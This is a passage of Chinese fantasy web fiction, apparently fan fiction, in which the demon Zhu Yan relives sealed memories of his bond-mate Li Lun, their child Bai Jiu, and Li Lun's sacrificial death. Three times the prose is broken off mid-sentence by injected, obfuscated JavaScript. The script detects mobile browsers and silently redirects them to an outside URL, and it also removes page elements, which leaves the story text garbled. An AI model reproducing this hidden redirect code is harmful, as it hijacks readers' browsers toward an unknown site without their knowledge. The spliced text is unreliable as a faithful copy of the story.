尘梦迷阵强行带走了朱厌,将他又送到另外一个陌生之地。 半空之中,无数水珠再次凝聚成一层不断浮动着的小字:尘封记忆第四层。 望着这行水字,朱厌自言自语着:“尘封记忆第四层?这是何意?” 下一秒,水字便在朱厌眼前,彻底蒸发,最终消失得无影无踪。 尘梦迷阵将朱厌送往记忆重构下的大荒禁地,这是属于朱厌记忆深处的第四层尘封记忆。 大荒禁地里,与建木神树一脉相承的大荒白泽神碑,早就因为神树的枯萎,也随着变得黯淡无光。 在朱厌踏入禁地的瞬间,他体内的妖力便开始急速膨胀汹涌。连带着平日里脸上那两道被他隐藏起来的暗红妖纹,此刻也悉数露出。 肌如白瓷的面容之上,骤然现出两道暗红的邪魅妖纹,让朱厌那张本就雌雄难辨的容貌,更加艳丽了好几分。 朱厌走到神碑跟前,忍不住伸手触碰了那黯然无光的碑文,尝试注入自己的妖力。 上古大妖,与天同寿,法力净纯,可生万物。 可接受了朱厌纯净妖力的神碑,依旧黯淡无光。 朱厌低垂的眼眸里满是失落,望着手中的神碑之上镌刻着的‘大荒’与‘白泽’的碑文,忍不住失神起来。 他,好像没办法修复这里的神树与神碑... 突然间,一只骨节分明的大手,毫无预警地闯入了朱厌的视野里。 眼前的人,将自己的手,轻放到大荒神碑之上。 不料想,方才还一直黯淡无光的大荒白泽神碑,竟在此刻发出耀眼金光,神碑的碑身更是涌动着蓝金交织的妖力。 见状,朱厌一下子就抬眸,望向站在自己对面的人。 望着眼前的人,朱厌的心里头,油然而生一股奇怪的感觉。 大荒的妖兽,一头长发是强大妖力的象征。发丝越长,妖力越盛。 朱厌是大荒里极为罕见的上古大妖,垂在他身后的头发,长度都快到小腿处了。 可站在自己眼前这个身形高大的男人,身后一头墨黑得泛着幽蓝光辉的长发竟长至拖地,铺散而开。足以见得,这人的妖力是多么鼎盛丰沛。 对着站立的两人,四目相视,身后一袭飘逸的长发,随风轻动着。 大荒的风,夹杂了山花的清淡香气,轻拂过两人额前随意散落的几缕发丝。 朱厌一时之间晃了神,望着男人的脸,竟心生出了此刻两人发丝暧昧相缠的错觉。 眼前这张陌生的面容,与朱厌先前在幻境中见到的那张模糊不清的脸,开始逐渐重合,最后竟然叠加在一起。 这一次,他终于看清了,这也是之前那张在卓翼宸脸上变幻过的容颜。 “你...” “我...” “到底是什么关系?” 朱厌望着男人,情绪却不受控地低落起来,嗓音里也不自觉地带了一抹哽咽。 连他自己都没察觉到,此刻的他,内心是期盼的,期盼着眼前人可以给他一个明确的答案。 直觉告诉他,这个男人,可以给到他一个真正的答案。 在大荒,诸妖之间,流传着这么一个传说。 “建木神树和白帝塔,曾在几万年前就被九足金乌给摧毁了。”① “后来呢,大荒出现了两个不知名的大妖,用自身的妖力和血誓,修复了神树和白帝塔。”② 朱厌曾经问过英磊关于这个传说,但英磊却一而再,再而三地回避着他这个问题。 看着眼前的人,朱厌脑海里不由再次想起这个传说。 直觉告诉他,大荒的这个传说,跟眼前的男人,有着莫大的关联。 可是,站在他眼前的男人,面对朱厌的发问,依旧是一言不发。只是那双望着朱厌的眼里,深邃之中流转着朱厌难以看懂的情绪。 两人四目对视的那一片刻,朱厌脑海里再次涌现出之前未曾有过的零碎片段。 不同往日的是,以往总是一闪而过的零碎片段,这一次却变得逐渐完整与清晰起来。 在这段残破零碎的记忆之中,朱厌看到,在荒芜人烟,寸草难生的大荒海地上,两道红蓝相间的光雾,交织在半空之中,互相追逐嬉戏着。 等到落地的瞬间,两道交织着的红蓝光雾顿时变成两道互相追逐着的身影。 两人速度之快,让朱厌完全无法看清他们的长相。 他只能隐约看见,前方那道奔跑着的红色身影笑着对追在他身后的蓝色身影说着话,但说了什么,朱厌丝毫听不清楚。 “离仑,你要输了喔——” 隐藏在这道声音的语气,带了几分俏皮与得意,听得出这人此刻内心满是愉悦。 红色残影转头望向身后的瞬间,朱厌在看到了那张脸时,瞳孔不由一缩。 那是一张与自己一模一样的脸。 朱厌心生疑惑,这难道又是自己的记忆吗?是过往记忆里的自己吗? 只见记忆里的朱厌疾速奔跑着,速度快到只看得到一抹暗红残影,却依旧时不时眼中含笑地往自己身后不停张望去。 而追逐在他身后,那道一直模糊不清的蓝影,也在此刻逐渐变得清晰起来。 让朱厌意想不到的是,蓝影人的脸,居然跟此刻站在自己眼前的男人再度重合,是同一个人。 那个被他唤为‘离仑’的男人,从始至终都一直紧跟在他的身后。 明明还是那张不苟言笑的脸,可那一刻,朱厌竟从男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时,那两抹取自‘离仑’和自己的鲜血,交织融合后,缓缓悬浮在半空之上。原本暗红的鲜血,此刻竟隐约散出缕缕耀眼的金光。 这抹带了金光的鲜血只在空中停留了一会,便火速飞升到在离仑’和他的身后。 鲜血泯散,金光消退。 大荒禁地里,两人的身后露出身为大妖修炼千万年的参天法相。 朱厌的身后,一只通体雪白的大白猿浮立于半空。坐在大白猿的肩上的法相朱厌大妖,正悠哉晃荡着双腿,歪着小脑袋,撑着一把缀满铜铃的油纸伞。 而对面的离仑,身后高约万丈的鎏金大古槐法天象地之中,只见大槐鬼单膝盘坐着,手持鼗鼓,慵懒倚靠在古槐上。 一白一金的法相眉间,各自飘出一滴眉心血。 复苏的建木神树的树心,钻出两缕鎏金光丝,瞬间缠绕上这两滴自两人法相眉间而离的眉心血。 法相眉心血,相交相融于建木神树的光丝,最终形成一红一蓝交织而成的两道金色符箓,硕大又神圣,盘踞在两人的法相之上。 大妖祭出全态法相的罕见场面,任谁看了,都无比震撼。 两道金色符箓,在半空之中交织盘旋了好一会后,最后才汇入两人的眉间。 当符箓进入两人身体后,神碑前的离仑和朱厌,两人的眼眸之中,各自闪划过一抹鎏光。 离仑眼中滑过的那一抹颜色,是暗沉的帝释青;而朱厌的那一抹鎏光,则是抢眼的丹雘红。 “这是...”朱厌眸色微闪,一脸不可置信地望着悬浮在半空,最后汇入他跟离仑两人眉心的那道符箓,格外震惊,“誓契...” 誓契,在四海八荒内,是只有命定的妖侣之间,才可以缔结的契约。 以身结契,两心共生。 誓契之约,以吾之血,燃吾之魂,佑吾之爱。 朱厌看着一幕幕记忆,丝毫没察觉到自己早已眼中含泪。 耳边再次响起一道声音,是英磊的声音。 “建木神树与白帝塔,曾在几万年前就被九足金乌给摧毁了。后来呢,大荒出现了两个不知名的大妖,用自身的妖力和血誓,修复了神树和白帝塔。”④ “四海八荒之内,很少人知道,那两个不知名的大妖,其实就是大荒的妖王跟妖后。” “英磊说的大妖,就是我跟你吗...” 泛红的眼眶内不断滚落一串又一串灼热的晶莹,朱厌忍不住朝着眼前人伸手,想要触摸男人的脸颊。 好疼。 眼睛好疼,心脏也好疼。 可就在朱厌的手即将抚摸上离仑脸颊的瞬间,眼前人如同风沙般骤然消散,下一秒,这一层的尘梦迷阵也再次碎裂。 白光骤现,再度睁眼,朱厌又尘梦迷阵强行转移到别处。 “不要——” 8. 该忘什么 “离仑是谁?” 被迷阵强行转移到别处的朱厌,一个人无措地站在原地,一脸失神,“不知道。” 朱厌已经开始记不清楚,自己被困在冉遗这个尘梦迷阵内的分分秒秒里,这是他第几次质问自己,离仑到底是谁的问题了。 突然,朱厌的身边,四面八方朝他涌来一股又一股诡异的白雾。 等到他反应过来,再度睁眼之时,冉遗的尘梦迷阵又将他送回了万年前因为交战而变得残败不堪的昆仑雪山上。 这是朱厌尘封记忆里的第五层。 又是之前那个场景。 朱厌尘封的记忆在尘梦迷阵的操控下,不断循环,不断重复,不断上演着过去的一幕幕。可是,被困在自己记忆里的朱厌,却一点都不想挣扎,丝毫没有想要离开的意愿。 朱厌目不转睛盯着前方,暗红色的瞳孔内倒映着滔天火光。 一道声音划破昆仑雪山的寂静—— “住手!” 一堆槐木叶子快速移动着,争先恐后飞到朱厌身边,化成一个又一个坚硬的槐叶护盾,挡在他身前。 槐叶护盾与对面来势汹汹的滔天火球不断较量着,半空之中不断发出一声又一声巨大的轰鸣爆炸声,回荡在整座昆仑雪山上。 守着卓翼宸的朱厌,再次抬头望向悬浮在半空的诸多槐叶护盾。 半空之中,伴随无数被烈火焚烧后落下的槐树残叶,无数槐叶聚集在一起后逐渐化成一个人形。 先前那道在朱厌记忆里出现过的黑色身影,再次凭空落地:“一介凡人,蜉蝣之姿,竟妄想动他!” 站在了朱厌跟前的离仑,再次替朱厌挡掉了又一波致命袭击,一脸怒意质问着对面的人:“温宗瑜!你算是个什么东西?敢动朱厌!” 离仑脸色阴沉,语气冷得宛若极地寒冰,周身的气氛当下更是降到了零下温度。他周身强大的气场使得四周的雪花悬止于半空,两侧的昆仑玄铁桥链更是以肉眼可见的速度布满冰霜。 他,生气了。 朱厌的脑海里不由自主浮现出这么一句话。 他不明白,为何自己在听到男人说的话后竟心生出了如此荒唐的想法。 离仑微微转头,望向身后的朱厌。在看见满脸沾血的朱厌时,更是彻底暴怒了,浑身杀气暴涨。 在先前好几次的幻境里,不管朱厌如何开口询问,都不曾出声的人,此刻就站在他面前,那双望着温宗瑜的眼里,满是抑制不住的无限愠怒。 朱厌目不转睛地望着这道站在自己眼前的高大身影。 他还是不明白,明明自己跟这个名为‘离仑’的人完全不认识,可为何在这尘梦迷阵里,所有自己的陈年记忆都跟这个人有着千丝万缕的关联呢? “这有啥好玩的?” “你怎么老爱帮着人类说话?” “人间嘈杂闹腾,你非要来。每次陪你来人间,都得盖这么个戳...”① 一道道破碎的对话声音,夹杂了年少时两人相处的记忆,犹如奔腾不息的海水争先恐后地涌向朱厌脑海。 刹那间,疼痛化作万根尖锐的钢针无情地游走在朱厌的脑海里,疼得他冷汗直流,疼得他不禁弯下了身子。 脑袋,好疼。 朱厌眼前再度一黑,身形踉跄的当下,那一直紧握着云光剑剑刃的右手,顿时又是鲜血淋漓。 前一秒周身还被愤怒包裹着,不断散发着寒冷气息的离仑,转身望着朱厌,眼中阴鸷瞬褪为柔色,连带着原本冷漠得语气也变得格外柔和起来。 “我们阿厌,别怕,我来了。” 漫天飘落下无数带着不烬木火光的槐树残叶,两人之间,隔着一段距离,离仑眉眼含笑,目不转睛地望向朱厌。 朱厌的心里头,有好多好多疑问,也有好多话,他想问离仑。可真到了嘴边,他却发现,一个字都问不出口了。 昆仑雪山上凛冽的寒风,拂过离仑额前的碎发。那双望着朱厌的灰蓝眼眸,盛满了让他只看一眼便难以忘却的柔情。 今日的离仑,一头幽蓝的拖地长发扎成一个短短的小马尾,随意垂落在身后,一如年少时陪同朱厌游玩人间的模样,干练又利落。 离仑短短的马尾发髻之上,仅有几枚原生本体的槐木枝桠点缀着。 高大挺拔的身子隐藏在一身镌绣满槐木暗金流纹的华服之下,外着一件同等精致的宽大黑袍。 看似寻常的装扮,实则与往日大有不同。细看之下,便可发现,今日的离仑,扎成短短小马尾的头上,两侧旁都各自佩戴了一条黑金发链。 朱厌盯着他头上那条发链,情不自禁失了神。 那是离仑第一次陪朱厌游玩人间时,朱厌送他的礼物之一。 朱厌买给他很久很久了,离仑很喜欢。但不管朱厌如何软磨硬泡,离仑平日里就是不肯戴。 “你疯了!”朱厌觉得自己的眼睛,此刻更外地疼,“你会魂飞魄散的。” 一行眼泪从他的眼眶之中情不自禁淌下,喉咙好似被灌满了黄连,苦涩,难受,刺疼。 他想不起来,也不明白,为什么自己在看到离仑的那一瞬间,会忍不住脱口而出这一番话。 此情此景,此等对话,朱厌终于明白,他也许,是真的忘了一些东西。 言语之间,满是对这人的担忧,内心之中更是不安与难过。 一团又一团接踵而来的疑问,萦绕在朱厌心头,挥之不去,愈发浓烈。 大荒的妖兽,以一头长发为傲,因为那是强大妖力的象征。发丝越长,妖力越盛,反之亦然。 在先前尘梦迷阵带他去到的第四层尘封记忆里,在大荒禁地的过往幻境里,两人立誓守护大荒的神碑前,他看到的离仑,他的头发明明长至拖地,妖力鼎盛。可如今的他,为何一头拖地长发却变成了短短的发髻? 朱厌内心惶恐起来,眼前这个名为‘离仑’的男人,他是没妖力了吗? 内心的惶恐不安使得朱厌望向离仑之时,担忧得脸色又苍白了几分,连开口的嗓音也不自觉地带上了几分颤意。 朱厌丝毫没有察觉到,此刻自己内心的恐惧达到了巅峰。 纵使他早已将眼前人遗忘了,可他内心还是害怕,害怕再也见不到这个人。 离仑笑着回了他:“自然知道。” 离仑一副云淡风轻的模样,好似诉说着的不过是茶余饭后的日常琐事,而非阴阳相隔,生离死别此等大事。 又一行眼泪从朱厌眸中滚落,朱厌哭着说道:“我不需要你这么做...” 离仑听了,嘴角不由微勾,眼里浮过一抹略微顽皮的笑意,同他说话而变得柔和的嗓音,低醇浑厚,嬉闹的语气之中多了一抹年少的傲气:“是我想要护你,不关你事。” 远处对面的黑衣人,看到此等生死攸关的时刻,两人还在浓情蜜意,一脸讽刺:“有意思,死到临头了还在恩爱有加。那就一起去阴曹地府,做一对你侬我侬的苦命鸳鸯吧!” 那人话刚说完,当下便催动了新一轮的火球攻击。 离仑眼神变得警惕与犀利,转头望向对面的黑衣人温宗瑜,朝身后厉声一喝:“阿厌!快走!” 朱厌一听,一脸着急,神色凝重起来:“离仑你要干什么!” “我离仑,从来不躲,从来不退。”② 朱厌知道,离仑在安慰他,让他别担心。 离仑飞身一跃,跳到火球即将袭来的跟前。伸出的大掌,朝地一拍。 掌心置地的瞬间,原本被厚雪覆盖的地面随即钻出无数根巨大的参天藤蔓,藤蔓互相缠绕成一张巨网,笼住一个个来势汹汹的火球。 “离仑!” 朱厌撕心裂肺唤着离仑的名字,朝着他的方向跑去,却被离仑挥手用槐叶结界挡在原地—— “阿厌,有些事,记得却不如忘了。”空中再度传来素日里离仑总对他说的这句话。 死命捶打着槐叶结界的朱厌,脑中思绪混乱不堪,泪流满面:“离仑...你告诉我...我到底需要忘记什么东西...” 下一秒,朱厌四周的景色,再次以肉眼可见的速度消散不见。 被困在这里多时的朱厌已经知道,这是尘梦迷阵在进行新一轮的记忆重建。 尘梦迷阵开始进行第六次的消散与重建,这一次的迷阵,将朱厌送到了一个被白雾笼罩的空间里。 “娘...你能听到吗?我是小玖?”一道专属于小孩子的稚嫩声音回荡在这个满是白雾,看不清楚四周的空间内。 “娘亲,我...” “...我叫白玖...” 朱厌循着声源转身,抬眸望去,便见到了一个长相可爱,与自己面容七分相似的孩童。 这孩童看似有几分腼腆的害羞,身着一件五彩斑斓的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340700|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛茸茸衣服,一头短发扎成一个小啾啾随在身后,头上绑了一个又一个小铃铛,可爱得不得了。 “阿厌,这个小家伙,是我们的阿玖。”离仑的声音传入耳中,帮朱厌解开了心中疑惑。 “小家伙?我们的阿玖?” “他...是我跟你,我们的孩子吗?” “我们...有过孩子吗...” 朱厌失神地望着凝聚在白雾之中,若隐若现露出的孩童画面。他伸手向前,可那孩童却忽而转身跑开,引得他下意识想追上前去。 却不料想,眼前一切景物开始翻天覆地旋转变化着,等到变化结束后,再度睁眼的朱厌发现自己又再次回到了昆仑雪山。 尘梦迷阵内的一切变化,快到他根本来不得及做出应对措施。 这一次的他,不同于先前几次,在他身旁的人不再是此前的卓翼宸,而是离仑。 此刻与他一起并肩作战的人,是离仑,两人合力对付着对面的黑衣人。 身后传来一道稚嫩的呼唤声:“娘亲,爹爹,是我!是阿玖!” 正竭力和离仑联手对付着黑衣人的朱厌,在看到白玖出现时,眸中划过错愕,随后是挥之不去的忧色,下意识大声吼道:“走啊!快走!不要在这里!” 不曾见过如此对他大声叫唤过的朱厌,白玖顿时一愣,一脸茫然地在朱厌与离仑之间不断来回望着。 离仑见白玖还呆呆地站在原地,扭头也冲白玖大吼了一句:“快走!” 吓得失神的白玖被离仑这么再一吼,瞬间清醒过来。 看着对面化出火凤法相的黑衣人,白玖回想起之前自己在藏书阁看到的书籍,陷入了沉思。 “我果然猜得没错,”白玖眸色一闪,“凤凰于不烬木灰烬中,涅槃重生。”说完,他灵机一动,头也不回,转身一个劲往后奔跑离去。③ 一旁的离仑见状后,确保白玖与朱厌两人没事后,再次纵身一跃,置地一召,再次催唤出自己部分本体真身来阻挡对面来势汹汹的火球。 只见昆仑雪山上,顿时山崩地裂。 原本平坦的地面刹那间,便钻出无数槐木根系,紧接着以肉眼可见地速度结抱在一起,最终长成一棵参天古槐。而古槐生长的同时,还长出许多旁枝与藤蔓,结成一张巨网。 对面袭来的不烬木火球,不断炸毁离仑真身上的旁枝与藤蔓,而地面的藤蔓在离仑强行施法下,也尚在不断破土而出,抽枝发芽。 只是,每一次真身的烧毁,离仑便会受到一次重创。 离仑的嘴角不由淌下一丝血迹,周身杀气四起:“阿厌,我曾经起誓,守护大荒,守护你们。我离仑,说到做到。” “离仑!”朱厌哭着喊出声,想要跑到离仑跟前阻止他却被一旁的卓翼宸死死拉住。 “赵远舟,别过去!你要相信他,他可是大荒妖王。”卓翼宸训斥道。 不烬木火球不断炸毁离仑真身上的旁枝与藤蔓,昆仑山上空发出了一阵又一阵前所未有的爆炸轰鸣声。 “离仑!不要这样!你会死的!你给我回来!”朱厌撕心裂肺哭吼着。 逃离激烈交战之地的白玖,被着巨大的轰鸣余震活生生震飞在地。 白玖小小的身子在地面滑行了很长一段距离才停下,冲击力之大更是硬生生把地面留下了一道深壑。 “娘亲!爹爹!”白玖一脸担忧望着朱厌与离仑所在的方向,却只看见漫天翻涌腾升的烈火黑雾,不由会想起年少时的记忆。 “爹爹,你快教我法术。”年幼的小白玖缠着离仑教他槐木一族的法术。 那时的离仑听完后也只是淡淡问了他一句:“阿厌昨天教了你什么?学会了吗?” “娘亲昨天教了我一字诀,跑。” 灵光一现,白玖掏出藏在怀里的东西,是一根红色的羽毛,那是朱厌先前给他护身的法器之一。 毕方鸟的羽毛,是可千里传信,也可将人瞬移的法器。 望着手中纯红色的毕方羽毛,白玖若有所思,暗自发誓:“娘亲,阿玖会跟爹爹一样,保护你的。” 看到身后还在不断攻击着离仑朱厌的黑衣人,白玖顿时面露杀意,目光凶狠:“温宗瑜,我要杀.了你!” 白玖脸色格外凝重,紧握着手中的毕方羽毛,口中念咒,下一秒便整个人消失不见了。 “我...一定要杀.了你!” 9. 泯灭托爱 尘梦迷阵外,湖心岛小屋内。 被困在迷阵内的朱厌,脸色苍白,冷汗淋漓,眉头紧缩,呢喃出声:“小玖,这里太危险了!快走!” 冉遗看到朱厌神色不对,赶紧出手制止:“朱厌!醒醒!” 冉遗连忙十指结印,企图毁掉尘梦迷阵,将朱厌强行带离幻境。 却没想到,朱厌的妖力强大过于强大,而基于朱厌记忆所构造出来的尘梦迷阵也格外强大到坚不可摧。 冉遗强行毁阵反而遭到了反噬,嘴角淌下了一抹血迹:“朱厌,醒醒...” 可是,深陷于迷阵中的朱厌,依旧无动于衷。 尘梦迷阵内的朱厌,当下便挣脱了卓翼宸紧紧捉住他的手,不要命地往离仑所在方向奔跑而出。 “离仑!”可是,当他跑到一半时,尘梦迷阵再次崩塌,四周陷入无尽的黑暗。 站在原地的朱厌,泪流满面,一脸茫然地望着昏暗的四周。 朱厌情绪激动得朝天怒吼道:“冉遗!把我送回去——” 这个该死的迷阵,这一次,到底又要把他送到哪里去! 脑海刺痛再现,一阵刺耳的嗡鸣声疼得朱厌整个人直接跪在地上。紧接着,朱厌便彻底失去了意识,昏倒在地。 尘梦迷阵的第七层尘封记忆,将朱厌重新带回了昆仑雪山上。 彼时的雪山神庙前,两方交战后,四周火光漫天,黑雾散尽,满天飘落下无数被火苗灼烧的槐木残叶。 双方交战,悉数负伤。 烈火灼烧后的漫天黑雾逐渐散去,负伤倒地的离仑,先行缓缓醒来。 离仑睁开眼的第一件事,就是下意识寻找朱厌的身影。 离仑闭眼探了朱厌的识海,再度睁眼之时,看了一眼自己干枯发皱的手臂,眼睫轻颤,眸里逐渐晦暗起来。转而望向朱厌的脸,神色落寞,语气哀伤。 “阿厌...” “如果我死了,照顾好你自己。” “我把我的妖力,都给你。” “留在我这个将死之人身上,才是浪费。” 离仑一边喃喃自语,一边缓缓伸出自己的手。 没一会,一股又一股蓝金交织的槐鬼之力从离仑的掌心抽离,隔空注入进因重伤而晕倒在地的朱厌。 此前,因为修复云光剑,朱厌体内的妖力早已枯竭,此刻的他虚弱得如同凡人一般。 而站在他们对面的温宗瑜,借助龙鱼一族的至宝凤珠,由人入妖,不仅修出妖族内丹,还获得可操控不烬木的火凤法相。 不烬木,是大荒炎天之地中生长的一种神木,暴雨不灭,长燃不休,以此为薪,火焰不尽。① 如今的温宗瑜,正处于妖力鼎盛时期,加上有不烬木的辅助,都能轻易要了他们在场所有人的命。 离仑身上的槐鬼之力源源不断地注入朱厌体内,早已枯竭的妖力再次变得充盈起来,而他身上所有的伤,都在以最快的速度恢复着。 被不烬木火焰重伤的朱厌,在槐鬼之力的疗愈下,缓缓苏醒。 他这是,又再次回到之前的记忆了吗? 朱厌下意识抬眸,望向这股源源不断向他注来的蓝金法力所在方向。 之前总是模糊不清的画面,就像一场挥之不去的迷雾笼罩住他的大脑。此刻,终于待到迷雾散尽,一切也变得彻底清晰起来。 原来,在他遗忘的尘封记忆里,那个一直模糊不清的人,就是离仑。 朱厌泪眼朦胧,思绪混乱,心头更是流转着诸多不明情绪:“你,我,到底是什么关系?” 将身上残余的槐鬼之力输给朱厌的离仑,淡笑着开口问他:“怎么样?彻底想起来了吗?” 朱厌眼中含泪,沙哑回道:“嗯。想起来了。” “原来,你,我,小时候就认识。” 朱厌的脑海里,突然响起一道孩童的声音。 是白玖在跟其他大荒小妖说过的话,那语气里满是藏不住的炫耀与得意,格外的臭屁:“我爹爹,我娘亲,千年大妖,从小就是青梅竹马,恩爱的不得了。” 离仑淡淡地望着不远处重伤在地的朱厌,眼内满是不舍之意。 “阿厌,你会害怕吗?” “你会怕我死吗?” 朱厌听不到离仑的心声,但身为大荒罕见的上古大妖,五感超群,耳闻八方,目视千里。 即便此刻朱厌与离仑两人隔着一小段距离,朱厌也清楚地看到离仑额头上的槐鬼妖纹,正在以他肉眼可见的速度消失不见。 而吸收了离仑槐鬼妖力后的朱厌,原本只有白猿妖纹的他,脸上也逐渐长出本该归属于离仑的槐鬼妖纹。 槐鬼的妖纹,是朱厌熟悉了万年的暗蓝色。可当这抹蓝,转移到他身上,却让他觉得格外刺眼。 妖纹,是妖族一脉妖力的象征。 离仑将自己的槐鬼之力一分为二,一半给了卓翼宸,一半给了朱厌。 当离仑身上所有的槐鬼妖力统统消失不见,额上妖纹彻底消散之时,便是他彻底魂飞魄散,尘归天地的时刻不远了。 “离仑...不要这样...”朱厌哭着哀求着离仑停下来,“停下来...我不需要你这么做...离仑...” 可是离仑对他的话,熟视无睹,依旧固执地将自己剩余的全部妖力,强行注入他的体内。 直到体内妖力与额间妖纹全部消散之时,离仑自始至终一句话也没说,只是静静望着朱厌。 “是我要护你,不关你事。”离仑嘴角微勾,又将先前同他说过的话再说了一遍,眼里浮过一抹略微顽皮的笑意。 “阿厌,别难过...”离仑话刚说完,便转过身去,朝着温宗瑜所在的方向,纵身一跃,动作干脆利落。 “离仑!” “你要干什么!” 朱厌以最快速度冲到他身后,伸出的手试图抓住离仑,却还是连他的一抹衣袂都抓不住。 朱厌哭着大吼道:“离仑!你给我回来!” 离仑听到朱厌的声音,原本冷峻的脸瞬间动容,最终还是忍不住回眸。 离仑那双一向淡然的灰蓝眼眸里,在望向朱厌的瞬间,便被道不明的复杂情绪所充斥。他只望了朱厌一眼,却也只敢望那么一眼。 因为他害怕自己再多看朱厌一眼,便会心生动摇。他不舍朱厌,也不愿赴死。可是,这是他们之间最好的结局。 “离仑...不要这样...”被卓翼宸拦住的朱厌哑着嗓子,无措得像个犯错的孩童,嘴里反复念着这两句话。 飞在半空之中的离仑,长袍翻飞,发丝飘动,笑着安慰身后的朱厌:“阿厌,别难过。” “因为你说过,死去的妖,会变成天上的日月星辰。” 望着悬在半空中的离仑,朱厌眼里再度滑落一行热泪:“离仑...不要这样...” “阿厌,你想救你的朋友,我不拦你。但你不准有事。” “我离仑,不负誓言,说到做到。无论是守护大荒,还是守护你跟孩子。” “以吾之魂,尽吾之血,燃吾之魂,佑吾之爱。” “法相——”只见半空中的离仑,衣袂翻飞,伸出双手,施法结印,低声念咒,“归——离——” 离仑的妖力在先前就一分为二,分别传送给了朱厌跟卓翼宸。此时,他体内的槐鬼之力彻底枯竭。 即便离仑竭尽全力动用了归离之术,也无法再召出大槐鬼真正的法相,只能勉强唤出残破的真身,来做最后一波护住朱厌的抵挡。 下一秒,大荒妖王的大槐鬼真身,先行全态祭出。 万里晴空的天空,转眼之间,陷入黑云滚滚,雷电交加。 昆仑雪山之上,缄默的大地,开始剧烈颤动。荒野之上,百妖齐哀。大荒之内,方圆百里,山崩地塌,海水翻涌。 数之不尽的槐树藤蔓,从离仑的背后蔓延而开,向着四周各个方向,快速蔓延扎根。与此同时,昆仑雪山上,平坦的地面上钻出无数枝蔓。枝蔓在急速生长,不断抽枝拔杆着。 拔地而起的枝蔓,不断抱团而生,最终卷在一起化成了一棵高约百丈,足以遮天蔽日的巨大古槐。 古槐树身越来越粗,越长越高,枝干位置更是在不断地抽枝长叶。下一刻,无数新生而出的槐叶,瞬间化成一把把泛着冷光的利刃,朝着温宗瑜所在方向飞去。 温宗瑜冷笑一声,再次抬手,一个巨大的火球朝着槐叶利刃正向袭去。 一瞬间,槐叶利刃与不烬木火球不相上下,于半空之中来回交手着,发出一声又一声震耳欲聋的爆炸轰鸣音—— 槐叶利刃最终难敌烈火,悉数被吞噬殆尽,化成点点残破的星光,从空飘落。 真身受损,一抹血迹自离仑嘴角缓缓淌下。 一时之间,从四面八方扑飞来无数五彩斑斓的小光点,那是大荒境内所有妖族精怪赋予他们一族之王的祝福。 吸收了妖族精怪祝福的槐木枝蔓,尖端泛起星斑绿光,分秒之间便卷缠成一块巨大的天然坚硬屏障,将整座昆仑雪山与大荒境内彻底隔开,昆仑雪山成为一个水泄不漏的真正战场。 离仑的大槐鬼真身,强行将温宗瑜身上的不烬木火焰悉数吸走,而温宗瑜新一轮攻击下接踵而来的滔天火球,也被他悉数吞下。 祭出槐鬼法相的离仑,突然朝着身后大声一喊,“卓翼宸!我把朱厌,交给你了,”转而嘴角淡笑,离仑转眸深深望着底下的朱厌,“你帮我,救朱厌...” “答应我,一定要让他活下去,别让我失望了——” 离仑话刚说完,温宗瑜双手结印,一个滔天火球在他的双掌之间,由小变大,大到比他的身躯还要大上好几倍。 只见温宗瑜抬手一甩,手上的火球便都朝着离仑真身所在方向袭去。 “不要!离仑!” 朱厌挣开卓翼宸死死抓着他的手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340701|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝着离仑古槐真身的位置纵身一跃,可是却还是迟了一步。 不烬木的火焰比朱厌先行一步到达离仑的身边,离仑的真身在不烬木的灼烧下,彻底毁灭,化成灰烬。 “我们阿厌,要照顾好自己,别哭了...” 离仑的声音,回荡在整座昆仑雪山之上,彻底淹没于不烬木的灼烧中。 半空之中的熊熊火焰,宛若天边无尽彩霞,刺痛了朱厌的双眼,更是灼伤了朱厌的心。 “离仑!” 离仑死亡,朱厌体内本该同生共死的誓契,开始发出刺眼蓝光。 大妖的识海翻涌,誓契滋养下的心莲开始枯萎,心脏深处传来的疼痛压得他快喘不过气了。 激动之下,尘梦迷阵内的朱厌身上的伤再次加重,一大口鲜血自喉间涌出,滴落在雪地上,宛若染血红梅。 尘梦迷阵一旦入阵,阵法幻境便与入阵之人命脉相连,深陷在尘梦迷阵内的朱厌,在迷阵内受到的所有伤害,都会成倍叠加到他的现实里。 因此,在迷阵内重伤的朱厌,迷阵外的身体也遭到双倍反噬,让他也源源不断吐着血。 “朱厌!”冉遗一脸着急,赶紧将朱厌扶起,靠在自己的怀里,将他嘴角血迹擦去后给他注入了一波妖力。 “离仑...”迷阵内的朱厌,双眼含泪,缓缓抬起的手微微发颤,伸向半空还在燃烧着的槐木残枝。 朱厌的手才伸到一半,四周的景色又再次消散起来。这七层的尘梦记忆,又再次坍塌了。 朱厌眼前一黑,整个人便昏到在地,不省人事。 尘梦迷阵内,万物崩塌,碎片旋转,新轮回忆,飞速重铸。 根据朱厌的尘封记忆,尘梦迷阵重新构建出第八层记忆场景。新一轮的轮回记忆,再一次开始启动。 “有些梦,能让你想起那些被你遗忘的过去。” 